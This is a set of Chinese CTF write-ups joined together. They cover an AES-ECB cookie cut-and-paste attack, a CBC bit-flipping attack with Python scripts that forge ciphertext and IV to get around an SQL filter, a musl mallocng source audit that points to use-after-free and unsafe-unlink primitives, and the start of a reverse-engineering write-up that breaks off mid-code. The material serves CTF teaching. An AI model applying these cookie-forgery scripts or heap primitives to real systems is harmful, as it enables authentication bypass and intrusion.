经测试修改url，get cookie
post传参都不能改变is_admin的值，所以只有一种可能，是在cookie里的user参数里加密了，然后传递给服务器，我们get参数传入的账号密码被服务器端加密，然后服务器返回来加密后的user信息。
接下来测试是何种加密，测试为aes-ecb加密，那么是如何确定的呢，
由于ecb是分组加密，所以一旦一组的密文我们修改了，其他组的密文解密之后是正常的，而被我们修改了的密文解密会是乱码，所以我们随便修改下user参数。
可以看到报错，并且第一组的密文解密后是乱码，而其他组的加密解密后为正常，所以猜测这一定是aes-ecb的分组加密的方式，
此时，我们应该先确定分组，几个为一组，先破坏第一组加密然后破坏第二组加密，然后确定解密后json数据为，
{"first_name":"admin","last_name":"admin","is_admin":0}
总共为55个字符，
服务器密文为：d37c125ab4eae2ed02428d6d619016b06500bafffbeebe0c011977ad06c6946a45ba82569e93332195a36e61ae1fe26b325f7afd1eaa5ee8bb11efe6eebc5b54
为128个字符，五十五个字符补位为64个字符，分组测试破坏每一组，测试到一组明文16个字符，加密密文为32个字符。
明文分为四组，一组16个字符，密文分为四组，一组32个字符。
d37c125ab4eae2ed
02428d6d619016b0
6500bafffbeebe0c
011977ad06c6946a
45ba82569e933321
95a36e61ae1fe26b
325f7afd1eaa5ee8
bb11efe6eebc5b54
可控的范围是我们输入的账号密码 admin admin。
{“first_name”:” 为十五个字符，我们首先构造账号为 a1.0000000000000}
其中a是为了填充第一组，这样第一组就是{“first_name”:”a,这样剩下的1.0000000000000}就是十六个字符为一组，第二组就是1.0000000000000}，这样服务器加密后返回的第33-64位加密就是1.0000000000000}，我们让服务器帮我们加密，这样我们就不需要知道密钥和算法，让服务器帮我们加密任何我们想要的东西，提交数据。
可以看到服务器返回了加密后的内容。我们截取第33位-64位字符。即为1.0000000000000}的密文。
3af6e4a9e05c702b02f9f4288c1c605c
接下来就是需要填充位数。我们让服务器解密的json数据最后的0｝为第65 66位，因为如果这样的话，前64位刚好是四组，65
66为一组，正好将它32位的密文替换成我们构造的密文。
{“first_name”:”admin”,”last_name”:”admin”,”is_admin”:0}
五十五位的字符串，我们让好账号变为admin12345678900,那么字符串就是66位，正好符合多余出来的两位是0｝，最后这两位被填充之后的密文同样是32位，这样就可以替换我们构造的32位密文。
可以看到服务器构造成功得到flag。
总结一下上面思路，我们根据每一组的加密密文长度固定明文长度固定，所以填充位数，然后让我们想要的数据成为单独的一组，让服务器进行加密，这样我们就可控制任意明文加密，然后修改cookie里提交的密文，填充字节，让我们需要的密文位置成为单独的一组，然后替换我们之前构造的一组数据，这样就可以绕过。
此题值得一题的是双引号单引号反斜线等被过滤了，所以师傅们其他需要引入双引号等的不用尝试了。
## aes-cbc加密
这种模式是先将明文切分成若干小段，然后每一小段与初始块或者上一段的密文段进行异或运算后，再与密钥进行加密。aes-
IV：用于随机化加密的比特块，保证即使对相同明文多次加密，也可以得到不同的密文。
秘钥：用于加密。
密文块0：第一组密文被加密后的内容。（同样也是第二组明文加密过程中的IV）
cbc加密方式不难理解，将一串明文进行分组，举例 123456789
123为第一组，456为第二组，789为第三组，将123与IV异或加密（加密中IV只在第一次异或有用），得到的异或后的密文与密钥加密，假设此时第一组加密的最终密文为abc，那么456先于第一组的密文abc异或加密，得到的异或密文在与密钥加密，假设第二组最终密文为def，往复循环，def与第三组明文异或，然后和密钥加密，假设密文ghi，那么最终密文就是
abcdefghi并且将iv发送。
其中值得一提的是初始始化向量IV每次随即初始化，所以即使相同的字符串也不会有相同的密文。
### cbc字节反转攻击
那么这种在这种加密的方式下，并不安全，问题出在异或加密这里，在讲解字节反转攻击前先了解下异或加密。
异或 xor 符号表示为 ^ ，计算机中 两个数字异或，相同为0，不同为1。 1^1=0 0^1=1
如果是字母异或加密，a^b，那么首先转化为ascii编码，然后二进制，对每一位进行异或得到的结果转为十进制，在ascii编码出来。
异或有一个特性，任意值与自己本身做异或运算的结果都是0，任意值与0做异或运算的结果都是自己。本身a^b=乱七八糟，a^a则为空，但是a^a^任意字母=任意字母。
在CBC解密中，如图A是第一组的密文，B是第二组被解密的密文（未异或），C是明文。C=A^B。那么B=C^A，且A^B^C=0。如果我们更改A，A为我们可控的密文，C=A^B,如果我们使A=B^X，B=C^A,所以A=C^A^X,C=C^A^X^B=B^X^B=X。这里X是我们需要的任意字符，这便是CBC字节反转攻击的核心，这样一来C的明文就完全可控了。
### 简单的登录-cbc字节反转
原理说了很多，那么接下来实战一下。
实验吧题目：<http://ctf5.shiyanbar.com/web/jiandan/index.php>
首先，输入框随便输入，然后发送请求抓包，看到返回包的头请求有tips，test.php。访问test.php即可看到源码。
<?php
define("SECRET_KEY", '***********');
define("METHOD", "aes-128-cbc");
error_reporting(0);
include('conn.php');
function sqliCheck($str){
if(preg_match("/\|,|-|#|=|~|union|like|procedure/i",$str)){
return 1;
}
return 0;
}
function get_random_iv(){
$random_iv='';
for($i=0;$i<16;$i++){
$random_iv.=chr(rand(1,255));
}
return $random_iv;
}
function login($info){
$iv = get_random_iv();
$plain = serialize($info);
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);//$plain为要加密的明文，METHOD加密方法，SECRET_KEY是秘钥，OPENSSL_RAW_DATA为数据格式，$iv随机生成的初始化向量。
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));
}
function show_homepage()
{
global $link;
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv']))
{
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv))
{
$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
$sql="select * from users limit ".$info['id'].",0";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0 or die(mysqli_error($link))){
$rows=mysqli_fetch_array($result);
echo '<h1><center>Hello!'.$rows['username'].'</center></h1>';
}
else{
echo '<h1><center>Hello!</center></h1>';
}
}
else
{
die("ERROR!");
}
}
}
if(isset($_POST['id'])){
$id = (string)$_POST['id'];
if(sqliCheck($id))
die("<h1 style='color:red'><center>sql inject detected!</center></h1>");
$info = array('id'=>$id);
login($info);
echo '<h1><center>Hello!</center></h1>';
}else{
if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])){
show_homepage();
}else{
echo '<body class="login-body" style="margin:0 auto">
<div id="wrapper" style="margin:0 auto;width:800px;">
<form name="login-form" class="login-form" action="" method="post">
<div class="header">
<h1>Login Form</h1>
<span>input id to login</span>
</div>
<div class="content">
<input name="id" type="text" class="input id" value="id" onfocus="this.value=''" />
</div>
<div class="footer">
<p><input type="submit" name="submit" value="Login" class="button" /></p>
</div>
</form>
</div>
</body>';
}
}
?>
前提：这一关不是单纯注入饶过的，肯定要利用cbc字节反转攻击。
1.首先直接看在哪里可以得到flag，没传入ID参数的时候，如果cookie建立了iv 和
cipher参数，那么就可以调用show_homepage，执行sql查询，flag在数据库里查询。
2.但是肯定要传参id，先生成iv 和
cipher，将id=X该数组进行序列化之后，以序列化结果和一个bs64编码随机数iv进行cbc加密生成密文cipher,加密算法为aes-128-cbc，此时就要考虑cbc字节反转了，128位，按十六字节分组。生成iv和cipher之后url编码返回请求头，生成细节参考自定义login函数。
3.sql查询语句拼接了一个0，所以我们只要注释掉0便可进行我们的查询。所以可以利用cbc字节翻转攻击更改密文，更改解密后的id，从而绕过进行sqlwaf，cookie传入参数
cipher和iv,base64解码然后aes解密，php反序列化，如果不能反序列化，则输出base64编码，否则就sql语句拼接查询。如果有结果回显，否则输出hello。
综上，只要我们能够CBC进行字节反转就可以执行sql查询，就可以进行查询flag。
接下来第一步首先要cbc字节反转，修改密文中的id。不妨先测试下位数，如果传入id=12（因为我们要修改为1#），则序列化后内容为
a:1:{s:2:"id";s:2:"12";}
由于我们需要分组，aes-128-cbc，128位16字节分组
第一组： a:1:{s:2:"id";s:
第二组： 2:"12";}
10中的0是第二组的第五个字符，所以需要更改第5个字符，右偏移四个字符，第一组也要向右偏移四个字符。接下来就是cbc字节反转脚本。
# -*- coding:utf8 -*- from base64 import *
import urllib
cipher='fn060OBP%2FyLIGYrD9bi%2FlWWAS9RIWvEtALaV26kuB%2F8%3D'#加密后的密文
cipher_raw=b64decode(urllib.unquote(cipher))#首先urldecode解码，然后base64解码
cipher_raw_list=list(cipher_raw)#将解码的密文分组
py=4#偏移量为4
A=cipher_raw_list[py]#要异或第二组密文的位置
C='2'#第二组被替换的明文
X='#'#将第二组替换掉的明文
cipher_raw_list[py]=chr(ord(A)^ord(C)^ord(X))#将偏移量为4的替换。
cipher_new=''.join(cipher_raw_list)#使用''将每一个字符连接起来，
cipher_new=urllib.quote(b64encode(cipher_new))#将替换完的密文base64编码，urlencode编码。
print cipher_new#打印出最终密文
其中特意将ACX等变量对应上文所讲的参数。可参考上面cbc字节反转配合图来理解。然后生成反转后的密文：
fn060PFP/yLIGYrD9bi/lWWAS9RIWvEtALaV26kuB/8%3D
此时提交密文发送服务器会返回base64编码字符串无法反序列化。
原因为下面这句。
接下来我们需要修改IV，原理很简单，我们分为两组来进行加解密，第一组密文只参与第二组的异或，第一组修改完成后，第二组的解密是完全没有问题的，但是第一组被我们修改了一个字符，但是异或的IV还是原来的IV，必须要修改IV才能使第一组正常异或，得到结果。还是上述原理，三次异或，控制想要的结果。
这里在看图，
A：这里特别要说明注意，A是我们第一次字节反转之后的明文（序列化状态）
B：原来的IV
C：字节反转后解密后的第一组（未被异或）
D: 正常的序列化字符串 ‘a:1:{s:2:”id”;s:’
E：新的IV
A=B^C,因为我们A是字节反转这里我们可以看到，IV是原来的IV，但是A和C都是字节反转后的，所以A必然是个无法反序列化的明文，我们修改B也就是IV，使得异或得到正常的序列化字符串。
B=A^C,我们需要得到的结果是D=E^C，而C=B^A，所以D=E^B^A,那么E=B^A^D。 //建议初学者自己多分析下逻辑，多写写，干想很头疼。
接下来是IV修改的脚本。
# -*- coding:utf8 -*- __author__='[email protected]'
from base64 import *
import urllib
iv='erUDGVSvM4Kab3ztg8vT8Q%3D%3D'
B=b64decode(urllib.unquote(iv))
D='a:1:{s:2:"id";s:'
A=b64decode('eFoXA0j/x2Em/bhfgeLzXjI6IjEjIjt9')
iv_new=''
for i in range(16):
iv_new+=chr(ord(A[i])^ord(D[i])^ord(B[i]))
iv_new=urllib.quote(b64encode(iv_new))
print iv_new
替换掉原来的IV，即可正常sql查询。
至此，此题的cbc反转我们已经完成了，剩下的注入原理一样，注入不是本题的目的，也就不再发剩下的脚本了。CBC还是要自己写一下用图理解一下。
其余加密问题，后续我会补充到本文。
参考：<https://www.yourhome.ren/index.php/sec/366.html>
参考：实验吧pcat师傅的writeup | 社区文章 |
# 借助DefCon Quals 2021的mooosl学习musl mallocng（源码审计篇）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
本题来源于DefCon Quals 2021的mooosl，考察点是最新版本musl libc 1.2.2利用。
关于musl libc的资料比赛期间找到过一篇[从一次 CTF 出题谈 musl libc
堆漏洞利用](https://www.anquanke.com/post/id/202253#h3-15)，碍于musl
libc在1.2.x之后的堆管理机制有较大的改版，因而有了该文章。本次文章分上下两篇，从musl libc
1.2.2的源码审计、调试，以及其中的利用机会，再到mooosl这道题的解题过程做一个分析。
musl libc
1.2.2的源码可以从[此处]，(https://musl.libc.org/releases/musl-1.2.2.tar.gz)下载获得。1.2.x采用src/malloc/mallocng内的代码，其堆管理结构与早期版本几乎完全不同，而早期的堆管理器则放入了src/malloc/oldmalloc中。
## 调试带符号的musl libc
### 0x01源码编译
题目提供的libc.so不带符号，很难通过调试去理解musl堆管理器的数据结构，可以通过源码编译，生成一份带调试符号的libc.so，进行源码级debug。
tar -xzvf ./musl-1.2.2.tar.gz
cd musl-1.2.2
mkdir build x64
cd build
CC="gcc" CXX="g++" \
CFLAGS="-g -g3 -ggdb -gdwarf-4 -Og -Wno-error -fno-stack-protector" \
CXXFLAGS="-g -g3 -ggdb -gdwarf-4 -Og -Wno-error -fno-stack-protector" \
../configure --prefix=/home/sung3r/workspace/sharefd/glibc/glibc-2.32/x64 --disable-werror
make
make install
在`/src/x64/`下找到编译好的libc.so
通过patchelf将ld.so改成libc.so即可，gdb调试时加上`dir /path/to/musl-1.2.2/src/malloc/`和`dir
/path/to/musl-1.2.2/src/malloc/mallocng`便可源码调试。
### 0x02安装调试符号
此方法要在ubuntu 20.04下才能成功
下载[musl_1.2.2-1_amd64.deb](http://archive.ubuntu.com/ubuntu/pool/universe/m/musl/musl_1.2.2-1_amd64.deb)、[musl-dbgsym_1.2.2-1_amd64.ddeb](https://launchpad.net/ubuntu/+archive/primary/+files/musl-dbgsym_1.2.2-1_amd64.ddeb)
在ubuntu20.04安装
sudo dpkg -i musl_1.2.2-1_amd64.deb
sudo dpkg -i musl-dbgsym_1.2.2-1_amd64.ddeb
gdb调试时通过`dir`加载源码即可。推荐此方法，比较简单，而且该deb里的libc.so与题目提供的libc.so md5一致。
## 源码审计
meta.h
//line:124~127
static inline int get_slot_index(const unsigned char *p)
{
//chunk地址往前的第3个byte就是该chunk的下标
return p[-3] & 31;
}
//line:129~157
static inline struct meta *get_meta(const unsigned char *p)
{
assert(!((uintptr_t)p & 15));//16字节对齐
//获取slot的偏移offset，offset*0x10才是真实偏移
int offset = *(const uint16_t *)(p - 2);
//获取slot的下标，这里的slot就是我们习惯中理解的chunk
int index = get_slot_index(p);
if (p[-4]) {
//如果offset不为0，表示不是group里的首个chunk，抛出异常
assert(!offset);
offset = *(uint32_t *)(p - 8);
assert(offset > 0xffff);
}
//获取group首地址，也即`meta->mem`这个地址
const struct group *base = (const void *)(p - UNIT*offset - UNIT);
//获取meta地址，group首地址指向meta结构的地址
const struct meta *meta = base->meta;
assert(meta->mem == base);
assert(index <= meta->last_idx);
assert(!(meta->avail_mask & (1u<<index)));
assert(!(meta->freed_mask & (1u<<index)));
const struct meta_area *area = (void *)((uintptr_t)meta & -4096);
//校验Page的secret是否正确，防止伪造Page
assert(area->check == ctx.secret);
if (meta->sizeclass < 48) {//一般都为48个sizeclass
assert(offset >= size_classes[meta->sizeclass]*index);
assert(offset < size_classes[meta->sizeclass]*(index+1));
} else {
assert(meta->sizeclass == 63);
}
if (meta->maplen) {
assert(offset <= meta->maplen*4096UL/UNIT - 1);
}
return (struct meta *)meta;
}
//line:229~238
//16字节对齐向上取整，最后换算成size_classes的下标，对group进行分类
static inline int size_to_class(size_t n)
{
n = (n+IB-1)>>4;
if (n<10) return n;
n++;
int i = (28-a_clz_32(n))*4 + 8;
if (n>size_classes[i+1]) i+=2;
if (n>size_classes[i]) i++;
return i;
}
mallocng/malloc.c:
//line:174~284
static struct meta *alloc_group(int sc, size_t req)
{
...
} else {///通过brk分配
int j = size_to_class(UNIT+cnt*size-IB);
int idx = alloc_slot(j, UNIT+cnt*size-IB);
if (idx < 0) {
free_meta(m);
return 0;
}
struct meta *g = ctx.active[j];
p = enframe(g, idx, UNIT*size_classes[j]-IB, ctx.mmap_counter);
m->maplen = 0;
p[-3] = (p[-3]&31) | (6<<5);
for (int i=0; i<=cnt; i++)
p[UNIT+i*size-4] = 0;///根据size清零mem
active_idx = cnt-1;
}
...
}
//line:300~381
//malloc的实现，lite_malloc调这里
void *malloc(size_t n)
{
if (size_overflows(n)) return 0;
struct meta *g;
uint32_t mask, first;
int sc;
int idx;
int ctr;
//大于某一个阈值，通过mmap分配
if (n >= MMAP_THRESHOLD) {///p MMAP_THRESHOLD; $10 = 0x1ffec
size_t needed = n + IB + UNIT;
void *p = mmap(0, needed, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANON, -1, 0);
if (p==MAP_FAILED) return 0;
wrlock();
step_seq();
g = alloc_meta();
if (!g) {
unlock();
munmap(p, needed);
return 0;
}
g->mem = p;
g->mem->meta = g;
g->last_idx = 0;
g->freeable = 1;
g->sizeclass = 63;
g->maplen = (needed+4095)/4096;
g->avail_mask = g->freed_mask = 0;
// use a global counter to cycle offset in
// individually-mmapped allocations.
ctx.mmap_counter++;
idx = 0;
goto success;
}
//否则通过brk分配
//根据传入size，转换成size_classes的下标，根据sc申请相对应group的chunk
sc = size_to_class(n);
rdlock();
//根据sc，获取存放着对应size group的meta，如果还没申请过这类group，对应ctx.active[sc]为0
g = ctx.active[sc];
// use coarse size classes initially when there are not yet
// any groups of desired size. this allows counts of 2 or 3
// to be allocated at first rather than having to start with
// 7 or 5, the min counts for even size classes.
if (!g && sc>=4 && sc<32 && sc!=6 && !(sc&1) && !ctx.usage_by_class[sc]) {
size_t usage = ctx.usage_by_class[sc|1];
// if a new group may be allocated, count it toward
// usage in deciding if we can use coarse class.
if (!ctx.active[sc|1] || (!ctx.active[sc|1]->avail_mask
&& !ctx.active[sc|1]->freed_mask))
usage += 3;
if (usage <= 12)
sc |= 1;
g = ctx.active[sc];
}
for (;;) {
mask = g ? g->avail_mask : 0;
first = mask&-mask;
if (!first) break;
if (RDLOCK_IS_EXCLUSIVE || !MT)
g->avail_mask = mask-first;
else if (a_cas(&g->avail_mask, mask, mask-first)!=mask)
continue;
idx = a_ctz_32(first);
goto success;
}
upgradelock();
//申请分配sc类别的chunk，size为n
idx = alloc_slot(sc, n);
if (idx < 0) {
unlock();
return 0;
}
g = ctx.active[sc];
success:
ctr = ctx.mmap_counter;
unlock();
return enframe(g, idx, n, ctr);
}
//line:286~298
//申请chunk
static int alloc_slot(int sc, size_t req)
{
uint32_t first = try_avail(&ctx.active[sc]);
if (first) return a_ctz_32(first);
//申请group，group信息存放于meta结构
struct meta *g = alloc_group(sc, req);
if (!g) return -1;
g->avail_mask--;
queue(&ctx.acti
ve[sc], g);
return 0;
}
free.c
//line:101~143
void free(void *p)
{
if (!p) return;//地址为0，直接返回
//获取meta结构，以及做一些检查
struct meta *g = get_meta(p);
//获取chunk的下标
int idx = get_slot_index(p);
size_t stride = get_stride(g);
unsigned char *start = g->mem->storage + stride*idx;
unsigned char *end = start + stride - IB;
get_nominal_size(p, end);
uint32_t self = 1u<<idx, all = (2u<<g->last_idx)-1;
//将对应chunk的下标置0xff
((unsigned char *)p)[-3] = 255;
// invalidate offset to group header, and cycle offset of
// used region within slot if current offset is zero.
//将chunk的offset清0
*(uint16_t *)((char *)p-2) = 0;
// release any whole pages contained in the slot to be freed
// unless it's a single-slot group that will be unmapped.
if (((uintptr_t)(start-1) ^ (uintptr_t)end) >= 2*PGSZ && g->last_idx) {
unsigned char *base = start + (-(uintptr_t)start & (PGSZ-1));
size_t len = (end-base) & -PGSZ;
if (len) madvise(base, len, MADV_FREE);
}
// atomic free without locking if this is neither first or last slot
//设置meta的avail_mask`freed_mask
for (;;) {
uint32_t freed = g->freed_mask;
uint32_t avail = g->avail_mask;
uint32_t mask = freed | avail;
assert(!(mask&self));
if (!freed || mask+self==all) break;
if (!MT)
g->freed_mask = freed+self;
else if (a_cas(&g->freed_mask, freed, freed+self)!=freed)
continue;
return;
}
wrlock();
struct mapinfo mi = nontrivial_free(g, idx);
unlock();
if (mi.len) munmap(mi.base, mi.len);
}
meta、group、chunk的具体结构，以下通过debug进行分析。
## 分配释放
store('a0a0', 'b0b0')
store('a1a11', 'b1b1111')
delete('a0a0')
`__malloc_context`是musl libc的全局管理结构指针，存放在libc.so的bss段
gef➤ p __malloc_context
$1 = {
secret = 0x69448097523526a7,
init_done = 0x1,
mmap_counter = 0x0,
free_meta_head = 0x0,
avail_meta = 0x56042ee901f8,
avail_meta_count = 0x59,
avail_meta_area_count = 0x0,
meta_alloc_shift = 0x0,
meta_area_head = 0x56042ee90000,
meta_area_tail = 0x56042ee90000,
avail_meta_areas = 0x56042ee91000 <error: Cannot access memory at address 0x56042ee91000>,
active = {0x56042ee901d0, 0x0, 0x0, 0x56042ee901a8, 0x0, 0x0, 0x0, 0x56042ee900b8, 0x0, 0x0, 0x0, 0x56042ee90090, 0x0, 0x0, 0x0, 0x56042ee90068, 0x0, 0x0, 0x0, 0x56042ee90040, 0x0, 0x0, 0x0, 0x56042ee90018, 0x0 <repeats 24 times>},
usage_by_class = {0x1e, 0x0, 0x0, 0x7, 0x0 <repeats 44 times>},
unmap_seq = '\000' <repeats 31 times>,
bounces = '\000' <repeats 31 times>,
seq = 0x0,
brk = 0x56042ee91000
}
`active =
{0x56042ee901d0,0,0...`：堆管理器依据申请的size，将chunk分成48类chunk，由sizeclass指定。每类chunk由一个meta结构管理，meta管理的chunk个数有限，由`small_cnt_tab`指定。当申请个数超出一个meta所能管理的最大数量，堆管理器会再申请同类型meta管理更多的chunk，并且以双向链表结构管理这些相同类型的meta。
`usage_by_class = {0x1e, 0x0, 0x0, 0x7,...`：表示当前各meta管理着的chunk个数。
`secret = 0x69448097523526a7`：在meta域每个page大小的首8个byte，都会存在一个校验key。
musl libc用以下的结构管理着meta、group以及chunk
分配了两个0x30的chunk，未释放。
gef➤ p *(struct meta*)0x56042ee901a8
$2 = {
prev = 0x56042ee901a8,
next = 0x56042ee901a8,
mem = 0x7f79e1df5c50,
avail_mask = 0x7c,
freed_mask = 0x0,
last_idx = 0x6,
freeable = 0x1,
sizeclass = 0x3,
maplen = 0x0
}
`prev`和`next`都指向本身，表示只有一个meta页，meta页由一个双向链表进行维护；
`0x7f79e1df5c50`是`user data`域；
`avail_mask = 0x7c = 0b1111100`表示第0、1个chunk不可用（已经被使用）；
`freed_mask = 0x0`表示没有chunk被释放；
`last_idx = 0x6`表示最后一个chunk的下标是0x6，总数是0x7个
`sizeclass = 0x3`表示由`0x3`这个group进行管理。
`0x000056042ee901a8`指向meta结构的地址；
后面8个byte表示chunk的头部结构：
`0x0000`和`0x0001`表示当前chunk，距离group首地址`0x00007f79e1df5c58`的偏移为`0`和`0x40`；
`0xa0`和`0xa1`表示当前chunk是group中的第0和1个chunk；
再往后0x28个byte就是user data域，最多接收输入`0x28+4`个byte，占用下一个chunk的前4个byte。
同时，也分配了四个0x10的chunk，未释放
gef➤ p *(struct meta*)0x56042ee901d0
$3 = {
prev = 0x56042ee901d0,
next = 0x56042ee901d0,
mem = 0x56042db99c50,
avail_mask = 0x3ffffff0,
freed_mask = 0x0,
last_idx = 0x1d,
freeable = 0x1,
sizeclass = 0x0,
maplen = 0x0
}
`prev`和`next`都指向本身，表示只有一个meta页，meta页由一个双向链表进行维护；
`0x56042db99c50`是`user data`域；
`avail_mask = 0x3ffffff0 =
0b111111111111111111111111110000`表示第0、1、2、3个chunk不可用（已经被使用）；
`freed_mask = 0x0`表示没有chunk被释放；
`last_idx = 0x1d`表示最后一个chunk的下标是0x1d，总数是0x1e个
`sizeclass = 0x3`表示由`0x3`这个group进行管理。
`0x0000`、`0x0001`、`0x0002`、`0x0003`表示距离group首地址偏移为`0`、`0x10`、`0x20`、`0x30`byte；
`0xa0`、`0xa1`、`0xa2`、`0xa3`表示group中的chunk下标；
往后8byte是user data，user data最多接收输入`8+4`个byte，占用下一个chunk
header的前4个byte（与x86的glibc类似）
释放两个0x10的chunk
gef➤ p *(struct meta*)0x56042ee901d0
$9 = {
prev = 0x56042ee901d0,
next = 0x56042ee901d0,
mem = 0x56042db99c50,
avail_mask = 0x3fffffe0,
freed_mask = 0x3,
last_idx = 0x1d,
freeable = 0x1,
sizeclass = 0x0,
maplen = 0x0
}
`freed_mask = 0x3 = 0b11`表示前两个chunk被释放；
`avail_mask = 0x3fffffe0 =
0b111111111111111111111111100000`可以发现，此时前两个chunk仍然为不可分配的状态；
已释放的chunk会将chunk header的offset清零，并且将chunk下标置成`0xff`，不清空user data域。
释放一个0x30的chunk
gef➤ p *(struct meta*)0x56042ee901a8
$13 = {
prev = 0x56042ee901a8,
next = 0x56042ee901a8,
mem = 0x7f79e1df5c50,
avail_mask = 0x7c,
freed_mask = 0x1,
last_idx = 0x6,
freeable = 0x1,
sizeclass = 0x3,
maplen = 0x0
}
`freed_mask = 0x1`表示有1个已被释放的chunk。
同样，chunk header的offset清零，且chunk下标置`0xff`。
const uint16_t size_classes[] = {
1, 2, 3, 4, 5, 6, 7, 8,
9, 10, 12, 15,
18, 20, 25, 31,
36, 42, 50, 63,
72, 84, 102, 127,
146, 170, 204, 255,
292, 340, 409, 511,
584, 682, 818, 1023,
1169, 1364, 1637, 2047,
2340, 2730, 3276, 4095,
4680, 5460, 6552, 8191,
};
static const uint8_t small_cnt_tab[][3] = {
{ 30, 30, 30 },
{ 31, 15, 15 },
{ 20, 10, 10 },
{ 31, 15, 7 },
{ 25, 12, 6 },
{ 21, 10, 5 },
{ 18, 8, 4 },
{ 31, 15, 7 },
{ 28, 14, 6 },
};
static struct meta *alloc_group(int sc, size_t req)
{
size_t size = UNIT*size_classes[sc];
int i = 0, cnt;
unsigned char *p;
struct meta *m = alloc_meta();///分配内存，用于建立一个group
if (!m) return 0;
size_t usage = ctx.usage_by_class[sc];
size_t pagesize = PGSZ;
int active_idx;
if (sc < 9) {
while (i<2 && 4*small_cnt_tab[sc][i] > usage)
i++;
cnt = small_cnt_tab[sc][i];
} else {
...
ctx.usage_by_class[sc] += cnt;
...
几个有用的结构
group分类表，由sc指定由哪个group管理：usage_by_class = {0,0,0,…}
要申请的chunk大小，由这个大小计算出sc： req = 0x30 -> sc = 0x3
malloc的chunk大小： UNIT _size_classes = 0x10_ 0x3 = 0x30
设定该group最多有多少个chunk：ctx.usage_by_class[sc] = 30 = 0x1e
## 漏洞点（Info Leak）
0x30 chunk， malloc 6次，free 5次
store('A', 'A')
for _ in range(5):
query('A' * 0x30)
`avail_mask = 0x40 = 0b1000000`除了最后一个chunk，其余chunk不可分配；
`freed_mask = 0x3e = 0b111110`除第一个以及最后一个chunk，其余chunk已被释放
gef➤ p *(struct meta*)0x55b9b0b551a8
$2 = {
prev = 0x55b9b0b551a8,
next = 0x55b9b0b551a8,
mem = 0x7fccf5fdcc50,
avail_mask = 0x40,
freed_mask = 0x3e,
last_idx = 0x6,
freeable = 0x1,
sizeclass = 0x3,
maplen = 0x0
}
可以发现，free掉的chunk不会优先分配
chunk在被free后不会清空user data域
增加到malloc 8次，free 7次
store('A', 'A')
for _ in range(5):
query('A' * 0x30)
query('A' * 0x30)
query('B' * 0x30)
`avail_mask = 0x7c =
0b1111100`被释放的chunk重新分配，也就是当耗尽该group的7个chunk时，堆管理器才会检查是否有已被free掉的chunk，将这些chunk的`avail_mask`置1，再重新分配。
gef➤ p *(struct meta*)0x5575a83401a8
$2 = {
prev = 0x5575a83401a8,
next = 0x5575a83401a8,
mem = 0x7f54fbdeec50,
avail_mask = 0x7c,
freed_mask = 0x2,
last_idx = 0x6,
freeable = 0x1,
sizeclass = 0x3,
maplen = 0x0
}
现在可以分配回先前已被释放的chunk，这样就有了uaf的利用机会。通过重新将带指针的结构体chunk分配回来，可leak出内存信息。
## 漏洞点（Hijack）
meta.h
//line:90~100
static inline void dequeue(struct meta **phead, struct meta *m)
{
if (m->next != m) {
m->prev->next = m->next;
m->next->prev = m->prev;
if (*phead == m) *phead = m->next;
} else {
*phead = 0;
}
m->prev = m->next = 0;
}
在审计源码时，可以发现这个经典的unsafe-unlink漏洞，跟早期glibc版本unlink宏出现的问题十分类似。
通过伪造fake meta，在删除该meta时，便会产生一次任意写，那么就有了劫持的机会。关于mooosl这道题的完整利用过程会在下篇文章中分析。 | 社区文章 |
# 第四届“安洵杯”网络安全挑战赛 re部分详细题解
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## signin
一个字：麻烦
先打开程序 发现好像是贪吃蛇
ida跟进`sub_40100F`，发现有个花指令和SMC，先不管这么多，先把SMC解出来。
用od动态调试，断在`0x419054`，此为加密完成的位置。然后到`0x401d10`，重新分析代码后，将整个函数选中右键复制到可执行文件-选择，然后保存到新的文件即可看到逻辑。
解出来发现这是flag的逻辑，这里程序先进行了异或，矩阵变换，然后就是一个魔改的类似TEA思想的算法。
这里的`dword_42CA44` 未知，但是其 小于256
v5 = dword_42CA44 + 1144219440;
可以注意到加密函数这里`sub_401055((int)v5, (int)v4, 32);`
v5 虽然是一个int 数组，但是他是从char 赋值来的。所以我们可以爆破`dword_42CA44`，尝试`dword_42CA44`解出来是否<256
#include <ctime>
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
unsigned char Enc[] = { 0xA5, 0xD8, 0x8E, 0xBF, 0xF9, 0xA9, 0x15, 0xE1, 0x8A, 0xF0,
0xD3, 0xFC, 0x46, 0x89, 0xBF, 0x8B, 0x62, 0xB1, 0x08, 0xC3,
0x29, 0xCF, 0x19, 0x2B, 0x56, 0x06, 0x77, 0x7A, 0xBA, 0xE4,
0xBA, 0xA4, 0xE4, 0x8C, 0x3E, 0x4E, 0xD9, 0xE1, 0xA7, 0x01,
0x04, 0xCE, 0xE9, 0x75, 0xB9, 0x93, 0xB5, 0x22, 0xB4, 0x42,
0x77, 0x49, 0xF6, 0x15, 0xEB, 0x24, 0x0E, 0xFF, 0xC2, 0xF2,
0x39, 0x30, 0x97, 0x47, 0x0D, 0xCA, 0x01, 0xC8, 0x61, 0x58,
0x12, 0x6A, 0xE8, 0x0B, 0x32, 0x80, 0x47, 0xBD, 0x85, 0x03,
0xDD, 0x6D, 0xF9, 0x69, 0xD1, 0x90, 0x64, 0xE5, 0x4B, 0xAD,
0x3C, 0x2D, 0xBE, 0x00, 0x42, 0x2D, 0x79, 0x69, 0xEF, 0x89,
0x5D, 0x88, 0x91, 0x4A, 0xC7, 0xEB, 0x9D, 0x01, 0x96, 0xFD,
0xF8, 0x3B, 0x57, 0x25, 0xDD, 0x1B, 0xDD, 0x5F, 0x68, 0xB8,
0x14, 0x66, 0x22, 0x57, 0x28, 0x5C, 0x58, 0x9F };
DWORD GetMagic1(int time,int x)
{
DWORD magic = 0x44336730 + x;
DWORD v8 = 0;
for(int i = 0 ; i< time ;i++){
